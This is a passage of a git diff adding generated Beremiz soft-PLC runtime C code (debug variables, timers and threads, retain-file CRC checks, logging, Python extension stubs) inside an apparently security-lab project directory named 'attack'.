RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = 